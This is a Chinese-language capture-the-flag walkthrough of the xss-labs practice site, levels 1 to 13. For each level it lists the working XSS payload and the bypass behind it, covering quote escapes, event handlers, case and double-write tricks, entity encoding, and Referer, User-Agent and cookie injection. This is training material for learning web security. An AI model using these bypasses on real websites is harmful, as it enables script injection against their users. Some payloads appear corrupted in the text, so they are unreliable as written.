目录标题
- 1、开始页面
- 2、level 1
- 3、level 2
- 4、level 3
- 5、level 4
- 6、level 5
- 7、level 6
- 8、level 7
- 9、level 8
- 10、level 9
- 11、level 10
- 12、level 11
- 13、level 12
- 14、level 13
1、开始页面
2、level 1
在url后面可以发现有注入点。如下:
这里出现弹窗,可以知道已经通关。
3、level 2
我们先按第一关思路。在方框里输入<script>alert(1)</script>,没有成功。如下:
在这里我发现注入点在value这里。第一点我就想到闭合标签,如果逃逸不出双引号限制,咱们啥都做不了。
闭合标签的方法:
a"><script>alert(1)</script>
第二关就通过了。
4、level 3
我们先随便注入,如下图:
在尝试注入后,我发现我输入的全部被实体转义了,而htmlspecialchars()没做设置,默认过滤双引号。
最后注入如下:
'οnclick=alert(1)//
第三关通过
5、level 4
先尝试注入,如下:
我发现< >被过滤掉了。
我再次尝试注入,如下:
"οnclick=alert(1)//
第四关通过
6、level 5
还是老样子,看它的输出点,还是在h2上。如下图:
先尝试注入,如下图:
这里很明显,它把script标签过滤了。
这里在尝试是否可以逃逸出双引号,如下:
可以看到是可以逃逸出来的。
这样我们就有思路了,用a标签再次尝试注入,如下:
aaa"><a href="javascript:alert(1)">aaaaa</a>
到这里我们第五关就通关了
7、level 6
同样我们先尝试注入,先注入aaaa没有成功,在注入<script>alert(1)</scirpt>发现script被过滤了。如下图:
发现与第五关一样,所以尝试注入第五关的代码。如下:
发现没有成功,我们查看代码。如下:
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
发现它是把script标签、on、src、data、href都给过滤掉了。
这里无意间尝试到大写注入,发现没有被过滤。如下:
aaa"><ScRiPt>alert(1)</sCrIpT>
第六关通关
8、level 7
首先老样子先尝试注入。<script>alert(1)</script>,大小写,点击事件(onlick),都失败了;然后查看源码。
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
发现我们可以双写注入,如下:
aaa"oonnclick="alert(1)"
第七关通过。
9、level 8
先测试payload,可以看见前面几题的注入的代码、大小写等思路都被过滤的死死的。这里只能看源码了。
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
想了好久,想到了编码,然后抱着试试的心态。将javascript编码,j;a;v;a;s;c;r;i;p;t;
抱着试试的心态,然后就第八关通过了。
这里当时我有一个疑问,什么时候能用实体编码,什么时候不能用实体编码?
总结
1、<script>和<style>数据只能有文本,不会有HTML解码和URL解码操作
2、<textarea>和<title>里会有HTML解码操作,但不会有子元素
3、其他元素数据(如div)和元素属性数据(如href)中会有HTML解码操作
4、部分属性(如href)会有URL解码操作,但URL中的协议需为ASCII
5、JavaScript会对字符串和标识符Unicode解码,JS中不能对特殊字符进行unicode编码
10、level 9
先随便注入,发现它的链接不合法。说明失败了。这个时候又得看源码。
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
源码上说如果没有’http://',就是不合法。所以接下来的注入先尝试加入http://。
先尝试javascript:alert(1)http://。失败了,接着尝试实体编码。
javascript:alert(1)//http://
一开始没有//,发现没成功。然后我们尝试将http//注释掉,然后就成功了。
第九关通过。
11、level 10
我们先写一些值,发现只有t_sort的值写上了,所以这是一个思路。
先闭合将type覆盖掉,尝试注入:
http://127.0.0.1/xss-labs-master/level10.php?keyword=aaaaaa&t_history=bbbbbbb&t_sort=c" type="text"
发现type被覆盖了,那个文本框出来了。然后我们在它里面加入点击事件再次尝试注入:
http://127.0.0.1/xss-labs-master/level10.php?keyword=aaaaaa&t_history=bbbbbbb&t_sort=c" οnclick=alert(1) type="text"
注入成功,第十关通过。
12、level 11
先在url里注入值,发现只用t_sort的值注入了。文本框没有出来。
与第十关相似,都有隐藏标签,只是多了一个t_ref参数。
发现多了一个$str11=$_SERVER[‘HTTP_REFERER’]字段,而我们知道,HTTP_REFERER 是获取http请求中的Referer字段的,也就是我们是从哪一个页面来到现在这个页面的。我们可以使Hackbar进行修改Referer字段。
最后注入:
aaa" type="text" onclick="alert(1)
十一关通过。
13、level 12
发现这次的和上一关一模一样,那么思路就有了,我们直接从User-agent入手,构造代码:
user-agent" onclick="alert(1)" type="text
14、level 13
这里是对cookie的插入,我们要先找到cookie的键,才能进行后续的插入:user=78945612
从14关开始都是flash漏洞,flash漏洞已经被淘汰了。所以这里就没做。
leve1 2 闭合双引号
level 3 单引号
leve1 4 双引号
level 5标签绕过
leve1 6 大小写绕过
leve1 7 双写script绕过 扩展解析漏洞
leve1 8 encode加密绕过
level 9 ur1必须添加http://
level 10 t sort
level 11 t_ref
level 12 t_ua
leve1 13 t_cook